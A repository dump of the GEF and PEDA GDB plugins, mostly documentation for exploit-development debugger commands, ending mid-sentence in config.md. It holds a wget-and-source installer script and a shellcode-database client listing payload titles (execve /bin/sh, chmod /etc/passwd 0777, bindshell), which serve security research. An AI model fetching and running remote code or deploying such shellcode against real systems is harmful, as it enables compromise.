├── gef ├── README.md ├── docs │ ├── commands │ │ ├── help.md │ │ ├── reset-cache.md │ │ ├── patch.md │ │ ├── ropper.md │ │ ├── canary.md │ │ ├── nop.md │ │ ├── ropgadget.md │ │ ├── search-pattern.md │ │ ├── capstone-disassemble.md │ │ ├── hijack-fd.md │ │ ├── aslr.md │ │ ├── elf-info.md │ │ ├── ksymaddr.md │ │ ├── assemble.md │ │ ├── entry-break.md │ │ ├── trace-run.md │ │ ├── tmux-setup.md │ │ ├── edit-flags.md │ │ ├── checksec.md │ │ ├── format-string-helper.md │ │ ├── process-status.md │ │ ├── stub.md │ │ ├── vmmap.md │ │ ├── xfiles.md │ │ ├── xinfo.md │ │ ├── xor-memory.md │ │ ├── shellcode.md │ │ ├── config.md │ │ ├── dereference.md │ │ ├── hexdump.md │ │ ├── unicorn-emulate.md │ │ ├── set-permission.md │ │ ├── retdec.md │ │ ├── theme.md │ │ ├── registers.md │ │ ├── pattern.md │ │ ├── process-search.md │ │ ├── gef-remote.md │ │ ├── aliases.md │ │ ├── ida-interact.md │ │ ├── heap.md │ │ ├── context.md │ │ └── pcustom.md │ ├── config.md │ ├── faq.md │ ├── commands.md │ └── index.md ├── gef.sh ├── .travis.yml ├── .github │ ├── ISSUE_TEMPLATE.md │ ├── CONTRIBUTING.md │ └── PULL_REQUEST_TEMPLATE.md ├── .gitignore ├── LICENSE ├── tests │ ├── helpers.py │ ├── test-runner.py │ └── pylintrc ├── mkdocs.yml ├── ida_gef.py └── binja_gef.py ├── peda ├── LICENSE ├── .gitignore ├── README ├── README.md ├── python23-compatibility.md └── lib │ ├── config.py │ ├── nasm.py │ ├── skeleton.py │ ├── shellcode.py │ └── utils.py ├── gdbinit └── README ├── .gitignore └── README.md /gef/README.md: -------------------------------------------------------------------------------- 1 | docs/index.md -------------------------------------------------------------------------------- /gef/docs/commands/help.md: -------------------------------------------------------------------------------- 1 | ## Command help 2 | 3 | Displays the help menu for the commands loaded. 4 | 5 | ![help](https://i.imgur.com/cvMoI3P.png) 6 | -------------------------------------------------------------------------------- /peda/LICENSE: -------------------------------------------------------------------------------- 1 | This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. 2 | 3 | http://creativecommons.org/licenses/by-nc-sa/3.0/ 4 | -------------------------------------------------------------------------------- /gef/docs/commands/reset-cache.md: -------------------------------------------------------------------------------- 1 | ## Command reset-cache 2 | 3 | This is an obsolete function to reset GEF internal memoize cache, which does not 4 | need to be called from the command line anymore. 5 | 6 | This command will disappear soon... 7 | -------------------------------------------------------------------------------- /gef/gef.sh: -------------------------------------------------------------------------------- 1 | 2 | wget -q -O "$HOME/.gdbinit-gef.py" https://github.com/hugsy/gef/raw/master/gef.py 3 | test -f "$HOME/.gdbinit" && mv "$HOME/.gdbinit" "$HOME/.gdbinit.old" 4 | echo "source $HOME/.gdbinit-gef.py" > "$HOME/.gdbinit" 5 | 6 | exit 0 7 | -------------------------------------------------------------------------------- /peda/.gitignore: -------------------------------------------------------------------------------- 1 | *.py[co] 2 | 3 | # Packages 4 | *.egg 5 | *.egg-info 6 | dist 7 | build 8 | eggs 9 | parts 10 | bin 11 | var 12 | sdist 13 | develop-eggs 14 | .installed.cfg 15 | 16 | # Installer logs 17 | pip-log.txt 18 | 19 | # Unit test / coverage reports 20 | .coverage 21 | .tox 22 | 23 | #Translations 24 | *.mo 25 | 26 | #Mr Developer 27 | .mr.developer.cfg 28 | -------------------------------------------------------------------------------- /gef/docs/commands/patch.md: -------------------------------------------------------------------------------- 1 | ## Command patch 2 | 3 | Patch the specified values to the specified address. 4 | 5 | This command is automatically aliased to the standard WinDBG commands: `eb`, `ew`, `ed`, `eq`, and `ea`. 6 | 7 | ```bash 8 | gef➤ patch byte $eip 0x90 9 | gef➤ eb 0x8048000 0x41 10 | gef➤ ea 0xbffffd74 "This is a double-escaped string\\x00" 11 | ``` 12 | 13 | -------------------------------------------------------------------------------- /gef/docs/commands/ropper.md: -------------------------------------------------------------------------------- 1 | ## Command ropper 2 | 3 | `ropper` is another gadget finding tool, easily installable via `pip`. It 4 | provides a very convenient `--search` function to search gadgets from a regular 5 | expression: 6 | 7 | ![ropper](https://pbs.twimg.com/media/Cm4f4i5VIAAP-E2.jpg:large) 8 | 9 | `ropper` comes with a full set of options, all documented from the `--help` menu. 10 | -------------------------------------------------------------------------------- /gdbinit/README: -------------------------------------------------------------------------------- 1 | Public repo for gdbinit 2 | 3 | x86/x86_64 and ARM are supported simultaneously since version 8.0. 4 | To make ARM the default CPU set the $ARM var to 1 or use the "arm" command to switch. 5 | 6 | FEEDBACK: http://reverse.put.as - reverser@put.as 7 | 8 | You should read the header of the script for important information regarding some Mac OS X/iOS gdb bugs. 9 | 10 | Have fun, 11 | fG! 12 | -------------------------------------------------------------------------------- /gef/docs/commands/canary.md: -------------------------------------------------------------------------------- 1 | ## Command canary 2 | 3 | If the currently debugged process was compiled with the Smash Stack Protector 4 | (SSP) - i.e. `-fstack-protector` flag was passed to the compiler, this command 5 | will allow to display the value of the canary. This makes it 6 | convenient when searching for this value in memory. 7 | 8 | The command `canary` does not take any argument. 9 | ``` 10 | gef➤ canary 11 | ``` 12 | 13 | ![](https://i.imgur.com/kPmsod2.png) 14 | -------------------------------------------------------------------------------- /gef/docs/commands/nop.md: -------------------------------------------------------------------------------- 1 | ## Command nop ## 2 | 3 | The `nop` command allows you to easily skip instructions. 4 | 5 | ``` 6 | gef➤ nop [-b NUM_BYTES] [-h] [LOCATION] 7 | ``` 8 | 9 | `LOCATION` indicates the address of the instruction to bypass. If not 10 | specified, it will use the current value of the program counter. 11 | 12 | If `-b ` is entered, explicitly patch the specified number of bytes. 13 | Otherwise it will patch only the _whole_ instruction at the PC. 14 | -------------------------------------------------------------------------------- /gef/docs/commands/ropgadget.md: -------------------------------------------------------------------------------- 1 | ## Command ropgadget ## 2 | 3 | [`ROPgadget`]() (written by Jonathan Salwan) is simply the best cross-platform ROP 4 | gadget finder. The `ropgadget` is the integration of the `ROPgadget` library 5 | inside `gef` to easily use the information of the current debugging session. 6 | 7 | It can be installed via the command: 8 | ``` 9 | $ pip[23] install ropgadget 10 | ``` 11 | 12 | Where `pip2` is if you're using Python2, `pip3` for Python3. 13 | -------------------------------------------------------------------------------- /gef/docs/commands/search-pattern.md: -------------------------------------------------------------------------------- 1 | ## Command search-pattern ## 2 | 3 | `gef` allows you to search for a specific pattern at runtime in all the segments 4 | of your process memory layout. The command `search-pattern`, alias `grep`, aims 5 | to be straight-forward to use: 6 | ``` 7 | gef> search-pattern MyPattern 8 | ``` 9 | 10 | ![grep](https://camo.githubusercontent.com/79c14e46fd1c1616cacab37d88b49aae7e00560e/68747470733a2f2f692e696d6775722e636f6d2f656e78456451642e706e67) 11 | -------------------------------------------------------------------------------- /gef/docs/commands/capstone-disassemble.md: -------------------------------------------------------------------------------- 1 | ## Command capstone-disassemble ## 2 | 3 | 4 | If you have installed [`capstone`](http://capstone-engine.org) library and its 5 | Python bindings, you can use it to disassemble any location in your debugging 6 | session. This plugin was done to offer an alternative to `GDB` disassemble 7 | function which sometimes gets things mixed up :) 8 | 9 | You can use its alias `cs-disassemble` and the location to disassemble (if not 10 | specified, it will use `$pc`). 11 | 12 | ``` 13 | gef➤ cs main 14 | ``` 15 | 16 | ![cs-disassemble](https://i.imgur.com/wypt7Fo.png) 17 | 18 | 19 | -------------------------------------------------------------------------------- /gef/.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | 3 | os: 4 | - linux 5 | 6 | branches: 7 | only: 8 | - master 9 | - dev 10 | 11 | addons: 12 | apt: 13 | packages: 14 | - python 15 | - gcc 16 | - gdb 17 | - python-pip 18 | 19 | before_script: 20 | - echo "source `pwd`/gef.py" > ~/.gdbinit 21 | 22 | script: 23 | - gdb -q -ex 'gef help' -ex 'gef config' -ex 'quit' /bin/ls 24 | 25 | after_script: 26 | - python ./tests/test-runner.py 27 | 28 | notifications: 29 | email: 30 | recipients: 31 | - hugsy+github@blah.cat 32 | on_success: change 33 | on_failure: always 34 | -------------------------------------------------------------------------------- /gef/docs/commands/hijack-fd.md: -------------------------------------------------------------------------------- 1 | ## Command hijack-fd ## 2 | 3 | `gef` can be used to modify file descriptors of the debugged process. The new 4 | file descriptor can point to a file, a pipe, a socket, a device etc. 5 | 6 | To use it, simply run 7 | ``` 8 | gef➤ hijack-fd FDNUM NEWFILE 9 | ``` 10 | 11 | For instance, 12 | ``` 13 | gef➤ hijack-fd 1 /dev/null 14 | ``` 15 | Will modify the current process file descriptors to redirect STDOUT to 16 | `/dev/null`. 17 | 18 | Check this asciicast for visual example: 19 | [![asciicast](https://asciinema.org/a/2o9bhveyikb1uvplwakjftxlq.png)](https://asciinema.org/a/2o9bhveyikb1uvplwakjftxlq) 20 | -------------------------------------------------------------------------------- /gef/docs/commands/aslr.md: -------------------------------------------------------------------------------- 1 | ## Command aslr 2 | 3 | Check, enable or disable easily ASLR on the debugged binary. 4 | 5 | Check the status: 6 | ``` 7 | gef➤ aslr 8 | ASLR is currently disabled 9 | ``` 10 | 11 | Activate ASLR: 12 | ``` 13 | gef➤ aslr on 14 | [+] Enabling ASLR 15 | gef➤ aslr 16 | ASLR is currently enabled 17 | ``` 18 | 19 | De-activate ASLR: 20 | ``` 21 | gef➤ aslr off 22 | [+] Disabling ASLR 23 | ``` 24 | 25 | **Note**: This command cannot have effect on process already loaded, to which 26 | GDB was attached later on. The only way to disable this randomization is by 27 | setting to 0 the kernel variable `/proc/sys/kernel/randomize_va_space`. 28 | -------------------------------------------------------------------------------- /gef/docs/commands/elf-info.md: -------------------------------------------------------------------------------- 1 | ## Command elf-info 2 | 3 | `elf-info` provides some basic information on ELF binary: 4 | 5 | ``` 6 | gef➤ elf 7 | Magic : 7f 45 4c 46 8 | Class : 0x2 - 64-bit 9 | Endianness : 0x1 - Little-Endian 10 | Version : 0x1 11 | OS ABI : 0x0 - System V 12 | ABI Version : 0x0 13 | Type : 0x2 - Executable 14 | Machine : 0x3e - x86-64 15 | Program Header Table : 0x0000000000000040 16 | Section Header Table : 0x0000000000000c98 17 | Header Table : 0x0000000000000040 18 | ELF Version : 0x1 19 | Header size : 0 (0x0) 20 | Entry point : 0x0000000000400460 21 | ``` 22 | -------------------------------------------------------------------------------- /gef/docs/commands/ksymaddr.md: -------------------------------------------------------------------------------- 1 | ## Command ksymaddr 2 | 3 | Locate a kernel symbol by its name. 4 | 5 | The syntax is straight forward: 6 | 7 | ``` 8 | ksymaddr 9 | ``` 10 | 11 | For example, 12 | 13 | ``` 14 | gef➤ ksymaddr commit_creds 15 | [+] Found matching symbol for 'commit_creds' at 0xffffffff8f495740 (type=T) 16 | [*] Found partial match for 'commit_creds' at 0xffffffff8f495740 (type=T): commit_creds 17 | [*] Found partial match for 'commit_creds' at 0xffffffff8fc71ee0 (type=R): __ksymtab_commit_creds 18 | [*] Found partial match for 'commit_creds' at 0xffffffff8fc8d008 (type=r): __kcrctab_commit_creds 19 | [*] Found partial match for 'commit_creds' at 0xffffffff8fc9bfcd (type=r): __kstrtab_commit_creds 20 | ``` 21 | -------------------------------------------------------------------------------- /gef/docs/commands/assemble.md: -------------------------------------------------------------------------------- 1 | ## Command assemble ## 2 | 3 | 4 | If you have installed [`keystone`](http://www.keystone-engine.org/), then `gef` will provide 5 | a convenient command to assemble native instructions directly to opcodes of the 6 | architecture you are currently debugging. 7 | 8 | Call it via `assemble` or its alias `asm`: 9 | 10 | ``` 11 | gef➤ asm [INSTRUCTION [; INSTRUCTION ...]] 12 | ``` 13 | 14 | ![gef-assemble](https://i.imgur.com/ShuPF6h.png) 15 | 16 | Using the `-l LOCATION` option, `gef` will write the assembly code generated by 17 | `keystone` directly to the memory location specified. This makes it extremely 18 | convenient to simply overwrite opcodes. 19 | 20 | ![gef-assemble-overwrite](https://i.imgur.com/CvJv36q.png) 21 | 22 | -------------------------------------------------------------------------------- /gef/docs/commands/entry-break.md: -------------------------------------------------------------------------------- 1 | ## Command entry-break ## 2 | 3 | The `entry-break` goal is to find and break at the most obvious entry point 4 | available in the binary. Since the binary will start running, some of the `PLT` 5 | entries will also be solved, making easier further debugging. 6 | 7 | It will perform the following actions: 8 | 9 | 1. Look up a `main` symbol. If found, set a temporary breakpoint and go; 10 | 2. Otherwise, it will look up for `__libc_start_main`. If found, set a 11 | temporary breakpoint and go; 12 | 3. Last case, it will get the entry point from the ELF header, set a 13 | breakpoint and run. This case should never fail if the ELF binary has a valid 14 | structure. 15 | 16 | ![entry-break-example](https://i.imgur.com/zXSERMh.png) 17 | 18 | 19 | -------------------------------------------------------------------------------- /gef/docs/commands/trace-run.md: -------------------------------------------------------------------------------- 1 | ## Command trace-run ## 2 | 3 | 4 | The `trace-run` is meant to be provide a visual appreciation directly in IDA 5 | disassembler of the path taken by a specific execution. It should be used with 6 | the IDA script 7 | [`ida_color_gdb_trace.py`](https://github.com/hugsy/stuff/blob/master/ida_scripts/ida_color_gdb_trace.py) 8 | 9 | It will trace and store all values taken by `$pc` during the execution flow, 10 | from its current value, until the value provided as argument. 11 | 12 | ``` 13 | gef> trace-run 14 | ``` 15 | 16 | ![trace-run-1](https://i.imgur.com/yaOGste.png) 17 | 18 | By using the script `ida_color_gdb_trace.py` on the text file generated, it will 19 | color the path taken: 20 | 21 | ![trace-run-2](http://i.imgur.com/oAGoSMQ.png) 22 | 23 | -------------------------------------------------------------------------------- /gef/docs/commands/tmux-setup.md: -------------------------------------------------------------------------------- 1 | ## Command tmux-setup 2 | 3 | In the purpose of always making debugging sessions easier while being more 4 | effective, `GEF` integrates two commands: 5 | 6 | * `tmux-setup` 7 | * `screen-setup` 8 | 9 | Those commands will check whether GDB is being spawn from inside a `tmux` 10 | (resp. `screen`) session, and if so, will split vertically the pane, and 11 | configure the context to be redirected to the new pane, looking something like: 12 | 13 | ![](https://i.imgur.com/Khk3xGl.png) 14 | 15 | To set it up, simply enter 16 | ``` 17 | gef➤ tmux-setup 18 | ``` 19 | 20 | **Note**: although `screen-setup` provides a similar setup, the structure of 21 | `screen` does not allow a very clean way to do this. Therefore, if possible, it 22 | would be recommended to use the `tmux-setup` command instead. 23 | -------------------------------------------------------------------------------- /gef/docs/commands/edit-flags.md: -------------------------------------------------------------------------------- 1 | ## Command edit-flags ## 2 | 3 | The `edit-flags` command (alias: `flags`) provides a quick and comprehensible 4 | way to view and edit the flag register for the architectures that support it. 5 | Without argument, the command will simply return a human-friendly display of the 6 | register flags. 7 | 8 | One or many arguments can be provided, following the syntax below: 9 | ``` 10 | gef> flags [(+|-|~)FLAGNAME ...] 11 | ``` 12 | Where `FLAGNAME` is the name of the flag (case insensitive), and `+|-|~` indicates 13 | the action on wether to set, unset, or toggle the flag. 14 | 15 | For instance, on x86 architecture, if we don't want to take a conditional jump 16 | (`jz` condition), but we want to have the Carry flag set, simply go with: 17 | 18 | ``` 19 | gef> flags -ZERO +CARRY 20 | ``` 21 | ![flags](https://i.imgur.com/ro7iC5m.png) 22 | -------------------------------------------------------------------------------- /gef/docs/commands/checksec.md: -------------------------------------------------------------------------------- 1 | ## Command checksec 2 | 3 | The `checksec` command is inspired 4 | from [`checksec.sh`](www.trapkit.de/tools/checksec.html). It provides a 5 | convenient way to determine all the security protections from a binary. 6 | 7 | You can use the command on the currently debugged process: 8 | ``` 9 | gef➤ checksec 10 | [+] checksec for '/vagrant/test-bin' 11 | Canary: No 12 | NX Support: Yes 13 | PIE Support: No 14 | No RPATH: Yes 15 | No RUNPATH: Yes 16 | Partial RelRO: Yes 17 | Full RelRO: No 18 | ``` 19 | 20 | Or specify directly the binary to check, for example: 21 | 22 | ``` 23 | $ gdb -ex "checksec ./tests/test-x86" 24 | ``` 25 | -------------------------------------------------------------------------------- /gef/docs/commands/format-string-helper.md: -------------------------------------------------------------------------------- 1 | ## Command format-string-helper ## 2 | 3 | `format-string-helper` command will create a `GEF` specific type of breakpoints 4 | dedicated to detecting potentially insecure format string when using the GlibC 5 | library. 6 | 7 | It will use this new breakpoint against several targets, including: 8 | 9 | * `printf()` 10 | * `sprintf()` 11 | * `fprintf()` 12 | * `snprintf()` 13 | * `vsnprintf()` 14 | 15 | Just call the command to enable this functionality. `fmtstr-helper` is an alias of `format-string-helper`. 16 | ``` 17 | gef➤ fmtstr-helper 18 | ``` 19 | 20 | Then start the binary execution. 21 | ``` 22 | gef➤ g 23 | ``` 24 | 25 | If a potentially insecure entry is found, the breakpoint will trigger, stop the 26 | process execution, display the reason for trigger and the associated context. 27 | 28 | ![fmtstr-helper-example](https://i.imgur.com/INU3KGn.png) 29 | 30 | 31 | -------------------------------------------------------------------------------- /gef/.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ### Step 0: Preliminary 2 | 3 | * Did you read the [documentation](https://gef.readthedocs.org/en/latest/) first? 4 | * Did you check closed [issues](https://github.com/hugsy/gef/issues)? 5 | 6 | 7 | ### Step 1: Describe your environment 8 | 9 | * Operating System: 10 | * Architecture: 11 | * GDB version (including the Python library version): 12 | 13 | 14 | ### Step 2: Describe your the problem 15 | 16 | #### Steps to reproduce 17 | 18 | 1. 19 | 1. 20 | 1. 21 | 22 | #### Observed Results 23 | 24 | * What happened? This could be a description, log output, etc. 25 | 26 | #### Expected results 27 | 28 | * What did you expect to happen? 29 | 30 | #### Traces 31 | 32 | Feel free to include in this section screenshots, stack traces, or 33 | 34 | ``` 35 | the exact code here to reproduce the problem 36 | ``` 37 | 38 | **ProTip:** Using GitHub, you can easily add files to your issues by a simple 39 | Drag n'Drop. 40 | -------------------------------------------------------------------------------- /gef/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # PyInstaller 26 | # Usually these files are written by a python script from a template 27 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 28 | *.manifest 29 | *.spec 30 | 31 | # Installer logs 32 | pip-log.txt 33 | pip-delete-this-directory.txt 34 | 35 | # Unit test / coverage reports 36 | htmlcov/ 37 | .tox/ 38 | .coverage 39 | .cache 40 | nosetests.xml 41 | coverage.xml 42 | 43 | # Translations 44 | *.mo 45 | *.pot 46 | 47 | # Django stuff: 48 | *.log 49 | 50 | # Sphinx documentation 51 | docs/_build/ 52 | 53 | # PyBuilder 54 | target/ 55 | site 56 | tests/binstests/pylint.html 57 | tests/pylint.html 58 | -------------------------------------------------------------------------------- /gef/docs/commands/process-status.md: -------------------------------------------------------------------------------- 1 | ## Command process-status ## 2 | 3 | > This command replaces and obsoletes the commands `pid` and `fd`. 4 | 5 | Provides an exhaustive description of the current running process, by extending 6 | the information provided by GDB `info proc` command, with all the information 7 | from the `procfs` structure. 8 | 9 | ``` 10 | gef➤ ps -s zsh 11 | 22879 12 | gef➤ attach 22879 13 | [...] 14 | gef➤ status 15 | [+] Process Information 16 | PID → 22879 17 | Executable → /bin/zsh 18 | Command line → '-zsh' 19 | [+] Parent Process Information 20 | Parent PID → 4475 21 | Command line → 'tmux new -s cool vibe 22 | [+] Children Process Information 23 | PID → 26190 (Name: '/bin/sleep', CmdLine: 'sleep 100000') 24 | [+] File Descriptors: 25 | /proc/22879/fd/0 → /dev/pts/4 26 | /proc/22879/fd/1 → /dev/pts/4 27 | /proc/22879/fd/2 → /dev/pts/4 28 | /proc/22879/fd/10 → /dev/pts/4 29 | [+] File Descriptors: 30 | No TCP connections 31 | ``` 32 | -------------------------------------------------------------------------------- /gef/docs/commands/stub.md: -------------------------------------------------------------------------------- 1 | ## Command stub ## 2 | 3 | The `stub` command allows you stub out functions, optionally specifying the 4 | return value. 5 | 6 | ``` 7 | gef➤ stub [-h] [-r RETVAL] [LOCATION] 8 | ``` 9 | 10 | `LOCATION` indicates the address of the function to bypass. If not 11 | specified, gef will consider the instruction at the program counter to be the 12 | start of the function. 13 | 14 | If `-r RETVAL` is provided, gef will set the return value to the provided 15 | value. Otherwise it will set the return value to 0. 16 | 17 | For example, it is trivial to bypass `fork()` calls. Since the return value is 18 | set to 0, it will in fact drop us into the "child" process. It must be noted 19 | that this is a different behaviour from the classic `set follow-fork-mode 20 | child` since here we do not spawn a new process, we only trick the parent 21 | process into thinking it is the child. 22 | 23 | ### Example ### 24 | 25 | Patching `fork()` calls: 26 | 27 | * Without stub: 28 | ![fork execution](http://i.imgur.com/TjnTDot.png) 29 | 30 | * With stub: 31 | ![stubbed fork](http://i.imgur.com/CllTnRH.png) 32 | -------------------------------------------------------------------------------- /gef/.github/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | ## Contributing to GEF ## 2 | 3 | ### License ### 4 | 5 | `gef` is placed under [license MIT](https://github.com/hugsy/gef/LICENSE) which 6 | provides Open-Source access to the code and its use. 7 | 8 | By contributing to `gef` code through the _Pull Requests_ mechanism, you accept 9 | to release the code written by you under the said license. 10 | 11 | 12 | ### Submitting a Patch ### 13 | 14 | 1. Fork `gef` repository (requires GitHub account). Sending a patch from the 15 | `patch` or `git diff --patch` commands is not accepted. 16 | 1. Write the changes in your local repo. 17 | * Respect the coding style (same indentation format, explicit names as possible) 18 | * Comment your code 19 | * If you add a new feature/GDB command, also write the adequate 20 | documentation (in [`docs/`](https://github.com/hugsy/gef/docs)) 21 | 1. Submit a pull request. 22 | 1. The contributors will review your patch. If it is approved, the change will 23 | be merged via the GitHub, and you will be seen as contributors. If it needs 24 | additional work, the repo owner will respond with useful comments. 25 | -------------------------------------------------------------------------------- /gef/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013-2017 crazy rabbidz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /gef/docs/commands/vmmap.md: -------------------------------------------------------------------------------- 1 | ## Command vmmap ## 2 | 3 | `xinfo`, `vmmap` and `xfiles` display a comprehensive and human-friendly memory 4 | mapping of either the process or a specific location. 5 | 6 | ![vmmap-example](https://i.imgur.com/iau8SwS.png) 7 | 8 | Interestingly, it helps finding secret gems: as an aware reader might have seen, 9 | memory mapping differs from one architecture to another (this is one of the main 10 | reasons I started `GEF` in a first place). For example, you can learn that 11 | ELF running on SPARC architectures always have their `.data` and `heap` sections set as 12 | Read/Write/Execute. 13 | 14 | ![xinfo-example](https://pbs.twimg.com/media/CCSW9JkW4AAx8gD.png:large) 15 | 16 | **Important note** : `gef` will as much as possible automatically refresh its 17 | own cache to avoid relying on obsolete information of the debugged 18 | process. However, in some dodgy scenario, `gef` might fail detecting some new 19 | events making its cache partially obsolete. If you notice an inconsistency on 20 | your memory mapping, you might want to force `gef` flushing its cache and 21 | fetching brand new data, by running the command `reset-cache`. 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /gef/docs/commands/xfiles.md: -------------------------------------------------------------------------------- 1 | ## Command xfiles ## 2 | 3 | `xinfo`, `vmmap` and `xfiles` display a comprehensive and human-friendly memory 4 | mapping of either the process or a specific location. 5 | 6 | ![vmmap-example](https://i.imgur.com/iau8SwS.png) 7 | 8 | Interestingly, it helps finding secret gems: as an aware reader might have seen, 9 | memory mapping differs from one architecture to another (this is one of the main 10 | reasons I started `GEF` in a first place). For example, you can learn that 11 | ELF running on SPARC architectures always have their `.data` and `heap` sections set as 12 | Read/Write/Execute. 13 | 14 | ![xinfo-example](https://pbs.twimg.com/media/CCSW9JkW4AAx8gD.png:large) 15 | 16 | **Important note** : `gef` will as much as possible automatically refresh its 17 | own cache to avoid relying on obsolete information of the debugged 18 | process. However, in some dodgy scenario, `gef` might fail detecting some new 19 | events making its cache partially obsolete. If you notice an inconsistency on 20 | your memory mapping, you might want to force `gef` flushing its cache and 21 | fetching brand new data, by running the command `reset-cache`. 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /gef/docs/commands/xinfo.md: -------------------------------------------------------------------------------- 1 | ## Command xinfo ## 2 | 3 | `xinfo`, `vmmap` and `xfiles` display a comprehensive and human-friendly memory 4 | mapping of either the process or a specific location. 5 | 6 | ![vmmap-example](https://i.imgur.com/iau8SwS.png) 7 | 8 | Interestingly, it helps finding secret gems: as an aware reader might have seen, 9 | memory mapping differs from one architecture to another (this is one of the main 10 | reasons I started `GEF` in a first place). For example, you can learn that 11 | ELF running on SPARC architectures always have their `.data` and `heap` sections set as 12 | Read/Write/Execute. 13 | 14 | ![xinfo-example](https://pbs.twimg.com/media/CCSW9JkW4AAx8gD.png:large) 15 | 16 | **Important note** : `gef` will as much as possible automatically refresh its 17 | own cache to avoid relying on obsolete information of the debugged 18 | process. However, in some dodgy scenario, `gef` might fail detecting some new 19 | events making its cache partially obsolete. If you notice an inconsistency on 20 | your memory mapping, you might want to force `gef` flushing its cache and 21 | fetching brand new data, by running the command `reset-cache`. 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /gef/docs/commands/xor-memory.md: -------------------------------------------------------------------------------- 1 | ## Command xor-memory 2 | 3 | This command is used to XOR a block of memory. 4 | 5 | Its syntax is: 6 | ``` 7 | xor-memory
8 | ``` 9 | 10 | the first argument (`display` or `patch`) is the action to perform: 11 | 12 | 1. `display` will only show an hexdump on the tty of the result of the XOR-ed memory block. 13 | 14 | ``` 15 | gef➤ xor display $rsp 16 1337 16 | [+] Displaying XOR-ing 0x7fff589b67f8-0x7fff589b6808 with '1337' 17 | ────────────────────────────────[ Original block ]──────────────────────────────────── 18 | 0x00007fff589b67f8 46 4e 40 00 00 00 00 00 00 00 00 00 00 00 00 00 FN@............. 19 | ────────────────────────────────[ XOR-ed block ]────────────────────────────────────── 20 | 0x00007fff589b67f8 55 79 53 37 13 37 13 37 13 37 13 37 13 37 13 37 UyS7.7.7.7.7.7.7 21 | ``` 22 | 23 | 2. `patch` will overwrite the memory with the xor-ed content. 24 | ``` 25 | gef➤ xor patch $rsp 16 1337 26 | [+] Patching XOR-ing 0x7fff589b67f8-0x7fff589b6808 with '1337' 27 | gef➤ hexdump byte $rsp 16 28 | 0x00007fff589b67f8 55 79 53 37 13 37 13 37 13 37 UyS7.7.7.7 29 | ``` 30 | -------------------------------------------------------------------------------- /gef/docs/commands/shellcode.md: -------------------------------------------------------------------------------- 1 | ## Command shellcode ## 2 | 3 | `shellcode` is a command line client for @JonathanSalwan shellcodes database. It 4 | can be used to search and download directly via `GEF` the shellcode you're 5 | looking for. Two primitive subcommands are available, `search` and `get` 6 | 7 | ``` 8 | gef➤ shellcode search arm 9 | [+] Showing matching shellcodes 10 | 901 Linux/ARM Add map in /etc/hosts file - 79 bytes 11 | 853 Linux/ARM chmod("/etc/passwd", 0777) - 39 bytes 12 | 854 Linux/ARM creat("/root/pwned", 0777) - 39 bytes 13 | 855 Linux/ARM execve("/bin/sh", [], [0 vars]) - 35 bytes 14 | 729 Linux/ARM Bind Connect UDP Port 68 15 | 730 Linux/ARM Bindshell port 0x1337 16 | [...] 17 | gef➤ shellcode get 698 18 | [+] Downloading shellcode id=698 19 | [+] Shellcode written as '/tmp/sc-EfcWtM.txt' 20 | gef➤ system cat /tmp/sc-EfcWtM.txt 21 | /* 22 | Title: Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes 23 | Date: 2010-09-05 24 | Tested on: ARM926EJ-S rev 5 (v5l) 25 | Author: Jonathan Salwan - twitter: @jonathansalwan 26 | 27 | shell-storm.org 28 | 29 | Shellcode ARM without 0x20, 0x0a and 0x00 30 | [...] 31 | ``` 32 | 33 | -------------------------------------------------------------------------------- /gef/docs/commands/config.md: -------------------------------------------------------------------------------- 1 | ## Command config ## 2 | 3 | `gef` can also be configured at runtime through a configuration file locate at 4 | `~/.gef.rc`. 5 | 6 | To view all the defined settings for all commands loaded: 7 | ``` 8 | gef➤ gef config 9 | ``` 10 | ![gef-config](https://i.imgur.com/bd2ZqsU.png) 11 | 12 | Or get one setting value: 13 | ``` 14 | gef➤ gef config pcustom.struct_path 15 | ``` 16 | 17 | Feel free to edit the values. For example, if you want the screen to be cleared 18 | before displaying the current context when reaching a breakpoing: 19 | ``` 20 | gef➤ gef config context.clear_screen 1 21 | ``` 22 | 23 | To save the current settings for `GEF` on the file system to have those options 24 | saved across all your future `GEF` sessions, simply run: 25 | ``` 26 | gef➤ gef save 27 | [+] Configuration saved to '/home/vagrant/.gef.rc' 28 | ``` 29 | 30 | Upon startup, if `gef` finds a file `${HOME}/.gef.rc`, it will automatically 31 | loads its values. 32 | 33 | You can edit manually the file too with your editor. 34 | To reload the settings during the session, just go with: 35 | 